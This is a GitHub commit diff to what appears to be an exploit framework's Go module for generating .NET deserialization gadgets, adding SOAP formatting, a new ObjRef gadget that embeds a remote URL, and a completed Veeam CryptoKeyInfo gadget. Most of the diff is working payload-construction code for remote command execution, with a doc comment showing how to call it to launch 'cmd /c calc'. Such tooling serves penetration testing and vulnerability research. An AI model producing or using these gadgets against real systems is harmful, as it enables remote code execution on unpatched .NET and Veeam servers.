Skip to content

Commit 89f95d2

Browse files
authored
Merge branch 'vulncheck-oss:main' into main
2 parents 03d14ac + 5a10677 commit 89f95d2

20 files changed

+625
-130
lines changed

dotnet/data/ReturnMessage.xml

Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
<SOAP-ENV:Fault id="xref-1">
2+
<faultcode id="xref-2">SOAP-ENV:Server</faultcode>
3+
<faultstring id="xref-3"> **** System.Exception - Exception of type &#39;System.Exception&#39; was thrown.</faultstring>
4+
<detail xsi:type="x1:ServerFault" xmlns:x1="http://schemas.microsoft.com/clr/ns/System.Runtime.Serialization.Formatters">
5+
<exceptionType xsi:null="1"/>
6+
<message xsi:null="1"/>
7+
<stackTrace xsi:null="1"/>
8+
<exception href="#xref-4"/>
9+
</detail>
10+
</SOAP-ENV:Fault>
11+
<x2:Exception id="xref-4" xmlns:x2="http://schemas.microsoft.com/clr/ns/System">
12+
<ClassName id="xref-5">System.Exception</ClassName>
13+
<Message xsi:null="1"/>
14+
<Data href="#xref-6"/>
15+
<InnerException xsi:null="1"/>
16+
<HelpURL xsi:null="1"/>
17+
<StackTraceString xsi:null="1"/>
18+
<RemoteStackTraceString xsi:null="1"/>
19+
<RemoteStackIndex>0</RemoteStackIndex>
20+
<ExceptionMethod xsi:null="1"/>
21+
<HResult>-2146233088</HResult>
22+
<Source xsi:null="1"/>
23+
<WatsonBuckets xsi:null="1"/>
24+
</x2:Exception>
25+
<x3:ListDictionaryInternal id="xref-6" xmlns:x3="http://schemas.microsoft.com/clr/ns/System.Collections">
26+
<head href="#xref-7"/>
27+
<version>1</version>
28+
<count>1</count>
29+
</x3:ListDictionaryInternal>
30+
<x3:ListDictionaryInternal_x002B_DictionaryNode id="xref-7" xmlns:x3="http://schemas.microsoft.com/clr/ns/System.Collections">
31+
<key id="xref-9" xsi:type="SOAP-ENC:string">x</key>
32+
<value />
33+
<next xsi:null="1"/>
34+
</x3:ListDictionaryInternal_x002B_DictionaryNode>
35+
<x2:Version id="xref-11" xmlns:x2="http://schemas.microsoft.com/clr/ns/System">
36+
<_Major>2</_Major>
37+
<_Minor>0</_Minor>
38+
<_Build>-1</_Build>
39+
<_Revision>-1</_Revision>
40+
</x2:Version>

dotnet/dotnetgadget.go

Lines changed: 165 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,34 @@
1+
/*
2+
This file contains all of the gadget creation functions for use in exploits. Calling one should be as simple as:
3+
payload, ok := CreateWindowsIdentity("cmd", "/c calc", dotnet.BinaryFormatter)
4+
if !ok{ return "", false }
5+
6+
The exceptions are the CreateObjectRef and CreateVeeamCryptoKeyInfo as those take (url string, formatter string) instead.
7+
8+
Any of the Create gadget funcs can be called with "" as their formatter which will return just the binary stream of the object, which is the same as binaryformatter.
9+
10+
Information for new gadget development:
11+
12+
These objects are basically just a series of 'records' that ultimately define a class and it's members.
13+
14+
The general format is something like
15+
16+
serializationHeaderRecord
17+
+ binLibString
18+
CLASSWITHMEMBERSANDTYPES(ClassObjectID INT32 (usually incremented from 1) + ClassName + MemberCount, MemberNames + AdditionalInfo + []byte{member0Type, member1Type, memberNType, ...} + Library ID INT32 + Array of Membervalues) +
19+
string(byte(RecordTypeEnumMap["MessageEnd"])) (just a 0xb)
20+
21+
Sometimes this format gets a bit more complicated because the member values array will contain CLASSWITHMEMBERSANDTYPES records as array items so it's a nested class.
22+
Also where ArraySingleStringRecord and ArraySinglePrimitiveRecord are concerned, these get referenced in member values and then are appended after the class record like so:
23+
24+
payload := serializationHeaderRecordString +
25+
binaryLibraryRecordString +
26+
classWithMembersAndTypesString +
27+
arraySingleStringRecordString +
28+
string(byte(RecordTypeEnumMap["MessageEnd"]))
29+
30+
There should be enough information in the existing gadgets to infer from in order to make new gadgets.
31+
*/
132
package dotnet
233

334
import (
@@ -117,7 +148,12 @@ func CreateTextFormattingRunProperties(program string, args string, formatter st
117148
case BinaryFormatter:
118149
return payload, true
119150
case SOAPFormatter:
120-
return FormatSOAP([]Record{classWithMembersAndTypes})
151+
xmlData, _, ok := FormatSOAP([]Record{classWithMembersAndTypes})
152+
if !ok {
153+
return "", false
154+
}
155+
156+
return xmlData, true
121157
default:
122158
output.PrintfFrameworkError("Invalid formatter specified for this gadget type. Requested: %s, supported: 'LOSFormatter', 'BinaryFormatter', 'SOAPFormatter'", formatter)
123159

@@ -155,6 +191,7 @@ func CreateDataSet(program string, args string, formatter string) (string, bool)
155191
"DataSet.Tables.Count",
156192
"DataSet.Tables_0",
157193
}
194+
158195
memberTypes := []string{
159196
"Class",
160197
"String",
@@ -244,8 +281,17 @@ func CreateDataSet(program string, args string, formatter string) (string, bool)
244281
return FormatLOS(payload), true
245282
case BinaryFormatter:
246283
return payload, true
284+
case SOAPFormatterWithExceptions:
285+
return FormatSOAPWithExceptions([]Record{classWithMembersAndTypes, arraySinglePrimitiveRecord})
286+
case SOAPFormatter:
287+
xmlData, _, ok := FormatSOAP([]Record{classWithMembersAndTypes, arraySinglePrimitiveRecord})
288+
if !ok {
289+
return "", false
290+
}
291+
292+
return xmlData, true
247293
default:
248-
output.PrintfFrameworkError("Invalid formatter specified for this gadget type. Requested: %s, supported: 'LOSFormatter', 'BinaryFormatter'", formatter)
294+
output.PrintfFrameworkError("Invalid formatter specified for this gadget type. Requested: %s, supported: 'LOSFormatter', 'BinaryFormatter', 'SOAPFormatter', 'SOAPFormatterWithExceptions'", formatter)
249295

250296
return "", false
251297
}
@@ -265,6 +311,7 @@ func CreateObjectDataProvider(program string, args string, formatter string) (st
265311
},
266312
}
267313

314+
// validating the output as JSON
268315
jsonData, err := json.Marshal(gadget)
269316
if err != nil {
270317
output.PrintfFrameworkError("Error serializing to JSON: %v", err)
@@ -274,7 +321,7 @@ func CreateObjectDataProvider(program string, args string, formatter string) (st
274321
payload := string(jsonData)
275322

276323
switch formatter {
277-
case "JSONFormatter": // This is basically the same as binaryformatter, just returns a string
324+
case "JSONFormatter":
278325
return payload, true
279326
case "":
280327
return payload, true
@@ -601,7 +648,12 @@ func CreateWindowsIdentity(program string, args string, formatter string) (strin
601648
case "":
602649
return payload, true
603650
case SOAPFormatter:
604-
return FormatSOAP([]Record{systemClassWithMembersAndTypesRecord})
651+
xmlData, _, ok := FormatSOAP([]Record{systemClassWithMembersAndTypesRecord})
652+
if !ok {
653+
return "", false
654+
}
655+
656+
return xmlData, true
605657
default:
606658
output.PrintfFrameworkError("Invalid formatter specified for this gadget type. Requested: %s, supported: 'LOSFormatter', 'BinaryFormatter', 'SOAPFormatter'", formatter)
607659

@@ -660,7 +712,12 @@ func CreateClaimsPrincipal(program string, args string, formatter string) (strin
660712
case "":
661713
return payload, true
662714
case SOAPFormatter:
663-
return FormatSOAP([]Record{systemClassWithMembersAndTypesRecord})
715+
xmlData, _, ok := FormatSOAP([]Record{systemClassWithMembersAndTypesRecord})
716+
if !ok {
717+
return "", false
718+
}
719+
720+
return xmlData, true
664721
default:
665722
output.PrintfFrameworkError("Invalid formatter specified for this gadget type. Requested: %s, supported: 'LOSFormatter', 'BinaryFormatter', 'SOAPFormatter'", formatter)
666723

@@ -813,15 +870,14 @@ func CreateDataSetTypeSpoof(program string, args string, formatter string) (stri
813870
}
814871
}
815872

816-
//nolint:revive
817-
func CreateVeeamCryptoKeyInfo(formatter string) (string, bool) {
818-
innerObjRef := "TODOPLACEHOLDER"
819-
if innerObjRef == "TODOPLACEHOLDER" {
820-
// needs CreateObjectRef gadget to be made
821-
output.PrintFrameworkError("Not yet implemented, needs CreateObjectRef")
822-
873+
func CreateVeeamCryptoKeyInfo(url string, formatter string) (string, bool) {
874+
innerObjRef, ok := CreateObjectRef(url, "")
875+
if !ok {
823876
return "", false
824877
}
878+
b64String := make([]byte, base64.StdEncoding.EncodedLen(len(innerObjRef)))
879+
base64.StdEncoding.Encode(b64String, []byte(innerObjRef))
880+
innerObjRefB64 := string(b64String)
825881

826882
memberTypes := []string{"SystemClass", "Object", "Primitive", "String", "String", "Primitive", "Primitive", "Primitive", "StringArray"}
827883

@@ -869,9 +925,9 @@ func CreateVeeamCryptoKeyInfo(formatter string) (string, bool) {
869925
innerAdditionalInfo = append(innerAdditionalInfo, PrimitiveTypeEnum["Byte"])
870926
innerAdditionalInfo = append(innerAdditionalInfo, PrimitiveTypeEnum["Byte"])
871927

872-
innerMemberValues = append(innerMemberValues, PrimitiveInt32(-1356456226)) // MAKE SURE THIS PRODUCES THE SAME BYTES de 1e 26 af INT32
873-
innerMemberValues = append(innerMemberValues, PrimitiveInt16(-16401)) // MAKE SURE THIS PRODUCES THE SAME BYTES ef bf INT16
874-
innerMemberValues = append(innerMemberValues, PrimitiveInt16(20306)) // MAKE SURE THIS PRODUCES THE SAME BYTES 52 4f // WRONG INT16
928+
innerMemberValues = append(innerMemberValues, PrimitiveInt32(-1356456226))
929+
innerMemberValues = append(innerMemberValues, PrimitiveInt16(-16401))
930+
innerMemberValues = append(innerMemberValues, PrimitiveInt16(20306))
875931
// 97 0f 7f fe 1c 1c 79 27
876932
innerMemberValues = append(innerMemberValues, PrimitiveByte(0x97))
877933
innerMemberValues = append(innerMemberValues, PrimitiveByte(0x0f))
@@ -898,17 +954,6 @@ func CreateVeeamCryptoKeyInfo(formatter string) (string, bool) {
898954
MemberTypeInfo: innerMemberTypeInfo,
899955
}
900956

901-
//ClassInfo: ClassInfo{
902-
//ObjectID: -3,
903-
//Name: "System.Data.SerializationFormat",
904-
//MemberNames: []string{"value__"},
905-
// },
906-
//MemberTypeInfo: innerMemberTypeInfo,
907-
//LibraryID: libraryID,
908-
//MemberValues: innerMemberValues,
909-
//BinaryLibrary: binaryLibrary,
910-
////
911-
912957
var memberValues []interface{}
913958
memberValues = append(memberValues, innerSystemClassWithMembersAndTypes) // ID GUID
914959
memberValues = append(memberValues, ObjectNullRecord{}) // KeySetID null
@@ -923,7 +968,7 @@ func CreateVeeamCryptoKeyInfo(formatter string) (string, bool) {
923968
memberValues = append(memberValues, MemberReferenceRecord{IDRef: 6}) // CryptoAlg int 1
924969

925970
var arrayMembers []interface{}
926-
// arrayMembers = append(arrayMembers, BinaryObjectRecord{ObjectID: 7, Value: innerObjRef}) // UNCOMMENT when innerObjRef is complete
971+
arrayMembers = append(arrayMembers, BinaryObjectRecord{ObjectID: 7, Value: innerObjRefB64})
927972
arraySingleStringRecord := ArraySingleStringRecord{
928973
ArrayInfo: ArrayInfo{
929974
ObjectID: 6,
@@ -964,5 +1009,97 @@ func CreateVeeamCryptoKeyInfo(formatter string) (string, bool) {
9641009
arraySingleStringRecordString +
9651010
string(byte(RecordTypeEnumMap["MessageEnd"]))
9661011

967-
return payload, true
1012+
switch formatter {
1013+
case BinaryFormatter:
1014+
return payload, true
1015+
case "":
1016+
return payload, true
1017+
default:
1018+
output.PrintfFrameworkError("Invalid formatter specified for this gadget type. Requested: %s, supported: 'BinaryFormatter'", formatter)
1019+
1020+
return "", false
1021+
}
1022+
}
1023+
1024+
func CreateObjectRef(url string, formatter string) (string, bool) {
1025+
secondClassName := "System.Runtime.Remoting.ObjRef"
1026+
firstClassName := "System.Exception"
1027+
1028+
secondMemberNames := []string{"url"}
1029+
firstMemberNames := []string{"ClassName"}
1030+
1031+
secondMemberTypes := []string{"String"}
1032+
firstMemberTypes := []string{"SystemClass"}
1033+
1034+
var secondMemberValues []interface{}
1035+
secondMemberValues = append(secondMemberValues, BinaryObjectRecord{ObjectID: 3, Value: url})
1036+
1037+
var firstMemberValues []interface{}
1038+
firstMemberValues = append(firstMemberValues, MemberReferenceRecord{IDRef: 2})
1039+
1040+
var firstAdditionalInfo []interface{}
1041+
firstAdditionalInfo = append(firstAdditionalInfo, "System.Runtime.Remoting.ObjRef")
1042+
1043+
firstClassInfo := ClassInfo{
1044+
ObjectID: 1,
1045+
Name: firstClassName,
1046+
MemberCount: len(firstMemberNames),
1047+
MemberNames: firstMemberNames,
1048+
}
1049+
1050+
secondClassInfo := ClassInfo{
1051+
ObjectID: 2,
1052+
Name: secondClassName,
1053+
MemberCount: len(secondMemberNames),
1054+
MemberNames: secondMemberNames,
1055+
}
1056+
1057+
secondMemberTypeInfo, ok := getMemberTypeInfo(secondMemberTypes, secondMemberNames, nil)
1058+
if !ok {
1059+
return "", false
1060+
}
1061+
1062+
firstMemberTypeInfo, ok := getMemberTypeInfo(firstMemberTypes, firstMemberNames, firstAdditionalInfo)
1063+
if !ok {
1064+
return "", false
1065+
}
1066+
1067+
firstSystemClassWithMembersAndTypesRecord := SystemClassWithMembersAndTypesRecord{
1068+
ClassInfo: firstClassInfo,
1069+
MemberValues: firstMemberValues,
1070+
MemberTypeInfo: firstMemberTypeInfo,
1071+
}
1072+
1073+
secondSystemClassWithMembersAndTypesRecord := SystemClassWithMembersAndTypesRecord{
1074+
ClassInfo: secondClassInfo,
1075+
MemberValues: secondMemberValues,
1076+
MemberTypeInfo: secondMemberTypeInfo,
1077+
}
1078+
1079+
// finalize
1080+
serializationHeaderRecord := SerializationHeaderRecord{RootID: 1, HeaderID: -1}
1081+
serializationHeaderRecordString, _ := serializationHeaderRecord.ToRecordBin()
1082+
firstSystemClassWithMembersAndTypesString, ok := firstSystemClassWithMembersAndTypesRecord.ToRecordBin()
1083+
if !ok {
1084+
return "", false
1085+
}
1086+
secondSystemClassWithMembersAndTypesString, ok := secondSystemClassWithMembersAndTypesRecord.ToRecordBin()
1087+
if !ok {
1088+
return "", false
1089+
}
1090+
payload := serializationHeaderRecordString +
1091+
firstSystemClassWithMembersAndTypesString +
1092+
secondSystemClassWithMembersAndTypesString +
1093+
string(byte(RecordTypeEnumMap["MessageEnd"]))
1094+
1095+
switch formatter {
1096+
case BinaryFormatter:
1097+
return payload, true
1098+
case "":
1099+
return payload, true
1100+
default:
1101+
output.PrintfFrameworkError("Invalid formatter specified for this gadget type. Requested: %s, supported: 'BinaryFormatter'", formatter)
1102+
1103+
return "", false
1104+
}
9681105
}

0 commit comments

Comments
 (0)